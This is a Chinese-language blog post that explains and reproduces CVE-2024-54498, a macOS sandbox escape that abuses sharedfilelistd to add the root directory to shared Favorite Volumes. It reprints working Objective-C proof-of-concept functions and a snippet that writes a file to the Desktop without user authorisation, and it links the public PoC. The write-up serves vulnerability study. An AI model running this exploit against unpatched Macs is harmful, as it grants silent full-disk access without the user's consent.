macos高危漏洞CVE-2024-54498 解析+复现

macos高危漏洞CVE-2024-54498 解析+复现

原创 棉花糖糖糖 棉花糖fans 2025-01-13 19:23

前言:

前两天看到github有公开一个mac的cve,影响了15.2以下的版本,刚好我也用的mac,看看会不会影响到我,特抽时间看了一下,有搞错的地方麻烦大佬补充修改。

原理:

先说下前情提要,苹果的macos有个沙箱机制,每个应用都只能访问自己独立的沙箱数据,如果需要访问其他数据,比如桌面文件夹,则需要用户手动授权,即唤起一个文件夹选择栏,让用户授权。

而CVE-2024-54498绕过了这个限制,在无需用户授权的情况下也可写入/读取任意文件。

简单研究了下poc,原理很简单,mac系统还有个机制/特性,就是共享文件,进程是sharedfilelistd。

这个进程允许将全盘直接列入共享文件中,从而导致原本应该没有权限的目录被直接取得权限。

复现:

代码很简单,原poc中的关键函数是这样的:

int add_root_dir_to_favorites(void) {
    CFStringRef listType = kLSSharedFileListFavoriteVolumes;
    LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL);
    
    if (favoriteVolumesList) {
        NSString *path = @"/";
        CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path];
        
        LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL(
            favoriteVolumesList,
            kLSSharedFileListItemLast,
            NULL,
            NULL,
            tmpDirURL,
            NULL,
            NULL
        );
        
        if (newItem) {
            NSLog(@"[+] Successfully added %@ to Favorite Volumes.", path);
            CFRelease(newItem);
        } else {
            NSLog(@"[-] Failed to add %@ to Favorite Volumes.", path);
        }
        
        CFRelease(favoriteVolumesList);
    } else {
        NSLog(@"[-] Failed to access LSSharedFileList for Favorite Volumes.");
    }
    
    return 0;
}

int trigger_exploit(void) {
    LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);
    if (recentItems) {
        NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL);
        
        NSLog(@"items array: %@\n", items);
        for (id item in items) {
            LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item;
            CFErrorRef errorRef;
            CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &errorRef);
            NSString *itemPath = [(__bridge NSURL *)itemURL path];
            NSLog(@"itemPath: %@", itemPath);
        }
        CFRelease(recentItems);
    } else {
        NSLog(@"Failed to retrieve recent items.");
    }
    
    return 0;
}

就像原理中说的,它调用了苹果的api让sharedfilelistd进程将根目录直接加入了共享列表中,验证它也很简单,直接尝试写入一个新文件到destop中即可。

NSString *escaped_dir = [NSString stringWithFormat:@"%@/Desktop/exp", userDir];
    const char* escaped_contents = "无需申请授权即可访问destop文件夹";
    writeFileAtPath(escaped_dir.UTF8String, escaped_contents);

写成几个函数直观一点。

复现视频:

总结:

这个漏洞利用正常功能点导致了另一个意料之外的后果,简单但有效,危害在于用户无感知地被取得了全盘权限,CVSS评分也来到了8.8,苹果在15.2版本中已修复此漏洞。

https://github.com/wh1te4ever/CVE-2024-54498-PoC

广告:年末最后一次打广告了,会员站年终抽奖,奖总计5000元,此时就是最好的购买时机!


☟上下滑动查看更多

往期文章

自定义kali:增加60+常用渗透工具,哥斯拉特战版,cs魔改应有尽有,菜单栏启动2024-12-27

交流群新增github poc监控机器人2024-12-29

年末最后一次打广告了,会员站年终抽奖,奖品总计5000元,此时就是最好的购买时机!2024-12-30